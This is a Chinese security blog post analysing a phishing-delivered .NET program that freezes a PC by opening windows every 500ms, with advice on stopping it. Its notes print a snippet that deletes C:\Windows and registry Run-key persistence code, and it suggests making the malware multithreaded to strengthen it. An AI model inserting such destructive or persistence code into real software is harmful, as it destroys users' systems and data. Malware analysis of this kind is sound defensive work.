逆向分析流氓軟體自我複製以及防禦思路
*本文作者:星空111,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
一、前言
好長時間沒有投稿了,之前被髮布的稿件,也收到了Freebuf的現金獎勵,同時陸陸續續收到好多圈類人士的誇獎,備受鼓舞,覺得自己應該堅持投稿,為安全事業略盡綿薄之力!最近課業任務不重,正好有時間投個搞。
就在今天早上,我室友收到一份來自”電腦管家”的郵件,如下圖所示:
仔細打量這份釣魚郵件,似乎還蠻逼真的!社工做的還不錯!
假如是我收到這種郵件,打死我也不會下載安裝這種所謂的補丁程式,一看就不是騰訊電腦管家官方的郵件,但是我室友是電腦盲,隨手下載了附件中的補丁,出現了下面這一幕,蛋疼……
聽室友的描述 說他看到這個畫面後,直接慌了,桌面一直彈這個視窗,像熊貓燒香一樣,,就幾秒鐘的時間,自己的電腦就卡死了,無法進行系統關機!只能強制關機了,糟糕的是,他剛剛寫的論文還沒有儲存,嗚呼痛哉…
為了給我那個單純的室友報仇!我突然有了想逆向分析一下這個具有自我複製的流氓軟,讓其室友給我發一份那個流氓軟體。
二、逆向分析
看這程式的ico是一棵樹,還挺應景,今天剛好是植樹節;逆向分析,就需要取得程式的原始碼,這個好辦,由於不知道這個程式是用什麼語言和基於什麼框架編寫的,測試了好幾款反編譯器,最終皇天不負有心人啊,原來這款是基於.Net框架的Winform程式,更重要的是還沒進行混淆加密,太雞凍了!如果是用混淆加密技術,也是可以反編譯的,只不過要費很多事。
重點看展開的方法:
核心程式碼就3行,很簡單,相信大家都能看懂, 就建立一個timer,每當經過指定時間間隔觸發一次程式,此流氓軟體設定的間隔為500ms觸發一次顯示Form1的窗體!想讓其電腦迅速卡死,邏輯上間隔時間越小越好!
其實這種流氓軟體很明顯是單執行緒的運作的,要想讓其結束程序,只需要將其主執行緒關閉即可,其他所有的窗體就不攻自破了,就類似於擒賊先擒王的邏輯一樣。
迅速啟動任務管理,只需將第一個病毒的應用程式結束即可解除此流氓軟體。
三、資源消耗測試
未啟動病毒前的資源消耗情況:
觸發病毒之後的資源消耗:
開開啟此病毒,CPU使用率就高達68%!
Note:
1> 這種流氓程式還是比較友善的,如果他在程式載入的程式碼段中新增一行惡意程式碼:刪除C盤系統檔案的程式碼,
private void Form1_Load(object sender, EventArgs e) { Directory.Delete(@"C:\Windows",true); }
你就等著哭吧!
2> 或者防止你強制關機解除此病毒,可以在程式碼段中寫入:當你第一次載入該病毒後,直接將程式新增到啟動項重,哈哈
public static void SetRegistryApp() { try { Microsoft.Win32.RegistryKey Reg; string ShortFileName = Application.ProductName; Reg = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); if (Reg == null) { Reg = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"); } Reg.SetValue(ShortFileName, Application.ExecutablePath); } catch (Exception ex) { MessageBox.Show(ex.Message); } }
3> 當然也有解除2>的方法
public static bool DeleteRegisterApp()
{
string ShortFileName = Application.ProductName; //取得應用程式
try
{
Microsoft.Win32.RegistryKey Reg;
Reg = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (Reg == null)
{
Reg = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
}
Reg.DeleteValue(ShortFileName, false);
}
catch (Exception ex)
{
return false;
}
return true;
};
4> 當然你可以寫一個程式 檢查該病毒是否在啟動項中 我用一個迴圈實現 CheckExistRegisterApp():
foreach (string s in Reg.GetValueNames()) { if (s.Equals(ShortFileName)) { bResult = true; break; } }
四、防禦措施
1>增加安全意識: 養成良好的上網習慣,每天堅持關注Freebuf資訊,獲取最新的安全事件來增強自己的安全意識!不要讓其自己的敏感資訊洩露,如:我那電腦盲舍友肯定是洩露了他的qq郵箱地址,才有此劫難,再者就算洩露了,像這樣釣魚郵件你完全可以打電話給騰訊電腦管家的客服進行核實此事啊!至於釣魚郵件有時是防不勝防,虛虛假假,我們要做的是陌生郵件不要點選!打電話確認之後點選使用!如果你想鍛鍊自己的程式設計能力,完全可以將上面的單執行緒改為多執行緒運作,這樣威力比目前要強大很多倍!大家可以集思廣益再想想還有哪些防禦措施。
2>增加基本的電腦常識以及程式設計技術,研究釣魚郵件的工作原理,只有這樣才能從根本上進行防禦!
*本文作者:星空111,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。